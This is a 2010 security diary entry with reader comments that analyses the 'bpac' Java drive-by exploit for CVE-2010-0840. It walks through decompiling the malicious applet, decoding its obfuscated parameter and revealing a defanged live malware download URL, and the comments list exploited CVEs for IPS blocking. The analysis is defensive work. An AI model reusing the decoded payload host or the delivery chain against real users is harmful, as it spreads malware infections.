Java Exploits

Published: 2010-11-11
Last Updated: 2010-11-11 00:05:00 UTC
by Daniel Wesemann (Version: 1)
12 comment(s)

The recent Java JRE patch bundle released by Oracle contained a long list of security fixes, several of which for vulnerabilities that allow drive-by exploits. And since Java is present on pretty much every Windows PC, and people don't seem to do their Java updates quite as diligently as their Windows patches, there are A LOT of vulnerable PCs out there. Microsoft reported on this a month ago, and called it an "unprecedented wave of Java exploiting".

It doesn't look like the situation has improved since, and the bad guys are taking advantage. Not surprisingly, the FAQ document on "Virus found in my Java Cache Directory" is ranked third most popular of all the issues listed on http://www.java.com/en/download/help/index.xml. The two issues ranked ahead of it are also security concerns.. not a pretty picture for Oracle or Java, I'd say.

Let's take a look at one of the popular exploits that are making the rounds, the "bpac" family. The exploit used is for CVE-2010-0840 (Hashmap), already covered by the Java patch bundle in July, but apparently still successful enough to be used. I guess the bad guys won't start "burning" their newest Java exploits while the old set is still going strong.

The infection usually happens as follows:
(1) User surfs to website that has been injected with the exploit
(2) Exploit pack triggers - it comes as an obfuscated JavaScript that downloads an Applet and a PDF
(3) The applet contains an exploit, here for CVE-2010-0840
(4) The applet is invoked with a parameter that tells it where to find the EXE
(5) If the exploit is successful, the EXE is downloaded and run

The EXEs pack quite a punch - one recent sample submitted contained no less than 66 individual other malicious EXEs. Yes, a user would be bound to notice this deluge of badness, but he still wouldn't stand a chance to ever clean ALL of this crud off the system again.

Looking at the malware in more detail

-rw-r--r-- 1 daniel users 3738 2010-11-08 09:14 euinirascndmiub.jar
-rw-r--r-- 1 daniel users 21009 2010-11-08 09:13 fuiqaubuk7.php
-rw-r--r-- 1 daniel users 6095 2010-11-08 09:14 jmkohwbrbtgsboj.pdf

The PHP file invokes the applet with parameter

daniel@debian:~/malware$ head fuiqaubuk7.php
<body id='jmery7' name='jmery7'><applet code='bpac.a.class' archive="euinirascndmiub.jar"><param value='RSS=,TT$XINOIAX$IOJTG@HTRMDAI=R=' ame="a"/></applet></body><textarea>function goyla(hrcsyoe6){r .....

The JAR file .. is basically a ZIP, so we can unzip it:

daniel@debian:~/malware$ unzip euinirascndmiub.jar
Archive: euinirascndmiub.jar
inflating: META-INF/MANIFEST.MF
inflating: bpac/a$1.class
inflating: bpac/a.class
inflating: bpac/b.class
inflating: bpac/KAVS.class

From the PHP, we know that "a.class" is the code that gets executed. A Java Decompiler like "jad" can be used to convert the java class files back into something readable akin to Java source code:

daniel@debian:~/malware/bpac$ jad *.class
Generating a.jad
Generating b.jad
Generating KAVS.jad
Generating a$1.jad

On inspection, a.jad indeed contains the CVE-2010-0840 exploit, pretty much a carbon copy of the Metasploit original. More interesting is b.jad, because it contains

String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V", "c").replace("D","d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";", etc

which sure looks like a decoding function. It doesn't take much programming to turn this into a Java file of its own with a "print" statement at the end. When we then add the variable that was set when the applet was invoked, we get

public class x
{
public static void main(String[] args)
{
String s = "RSS=,TT$XINOIAX$IOJTG@HTRMDAI=R=";
String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V","c").replace("D", "d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";","i").replace("L", "j").replace("K", "-").replace("U", "k").replace("^", "l").replace("Z", "m").replace("B","n").replace("Q", "o").replace("=", "p").replace("&", "q").replace("M", "r").replace("G", "s").replace("S","t").replace("!", "u").replace("W", "v").replace("%", "w").replace("H", "x").replace("P", "y").replace("?","z").replace("T", "/").replace("I", ".").replace("K", "_").replace("(", "_").replace(",", ":").replace("A","1").replace("N", "2").replace("*", "3").replace("J", "4").replace(")", "5").replace("O", "6").replace("$","7").replace("X", "8").replace("+", "9").replace("E", "0")).append("?i=1").toString();
System.out.println(s1);
}
}

Compile with javac, run with java, and lookie, the system prints:

daniel@debian:~/malware/bpac$ java x
http://78. 26.187. 64/sex/hrd1.php?i=1
(spaces added to keep you from clicking, careful, still live!)

which is where the EXE resides. Virustotal currently has it with 14/43.

Bottom line: If you haven't done so yet, hunt down and patch every incarnation of Java on the PCs that you are responsible for.

Keywords: java
12 comment(s)

Comments

If application compatibility issues prevent you from patching a subset of the Sun Java runtime instances across your client population, please consider reviewing your IPS configuration to ensure that at least the following are set to block/notify. These were all found in at least one of the top 20 exploit kit versions available when I last checked (24 Oct 2010). There are far more known Sun Java vulnerabilities - this list is is limited to the ones with known working exploits commonly seen in real world attacks against client machines today. So I am suggesting you supplement your IPS vendor default block settings for Sun Java with at least these if you have client-side Sun Java instances that you cannot patch.


CVE-2008-5353
CVE-2009-3867
CVE-2010-0886
CVE-2010-0094
CVE-2010-0840
CVE-2010-1423
CVE-2007-0243

I keep the full list here and will add new entries as I learn about them:
http://blog.sharpesecurity.com/2010/10/25/list-of-currently-exploited-sun-java-vulnerabilities/

Please let me know if there are any errors or omissions in the list.
What Sun Oracle needs to fix is the fact that you set Java to check for updates everyday yet the minute you update it, it resets the update check to monthly. Some months you could be 3 versions behind before it notifies you of an update.
Most people (including myself) don't need Java (applet) support in their web browsers, and Java is much broader than just that technology.

Furthermore, most users don't know how to disable Java support in their web browser, don't know what will fail to work if they do, or aren't even aware that such functionality exists. Also, such settings might be restored during updates (not 100% sure about this one, though).

I would very much like it (from a security point of view) if I could download JRE versions that do *not* include web browser applet support. If the installer would ask about this, is fine too.

Reports such as Daniels diary entry will make some people uninstall Java from their PC's. Limiting JRE to essential functionality could mean a life-saver for Java on desktops!
I agree with Bitwiper. I blocked all applets inside my home network: http://bilderhost.com/out.php/i4569_magic.png
Here in Denmark, almost everybody needs to have Java installed.
For using banking or public websites you need to use "NemID" a government OTP card. And it has been implemented using client side Java to increase the risk, and to make compatibility as bad as possible. Supposedly they have tried to put some anti-tampering in their code, but if the believe anything clientside is trustworthy, they are not worth your trust.

Can't see why a OTP can't be sent over a SSL connection, and that is it.

But Denmark is wide open for Java attacks.
Do all of these exploits target the default install of Java under Program Files\Java, or do some of them have specific path references to various JREs that are part of tools such as Arcsight or Siteprotector?
I wish Sun/Oracle would get on the band-wagon when it comes to enterprise deployment. Yes they prompt everybody to update, but in a place where end-users don't have admin rights, it makes it difficult to make sure that all users are running the latest version. I would love to see Sun/Oracle provide MSI installers for windows.
@Frank: There is an MSI, and I deploy it to my clients successfully. Have you seen http://www.java.com/en/download/help/msi_install.xml

Once extracted, I use an MST I wrote to do specifc configuraiton that we require.
Having the 32-bit version default to checking for updates once a month is bad enough. But, does the 64-bit version for Windows even update automatically? And, is there a JRE installer that does not want to install yet another search engine toolbar by default?
@Yves
64 bit sticks you back into having to check for updates and manual update. And I would like to have a new feature called TelePunch that accurately targets a large fist into the collective faces of the fools who have determined that we need a yahoo toolbar, a google toolbar and a bing toolbar loaded into our systems for reduced speed and added annoyance.

Diary Archives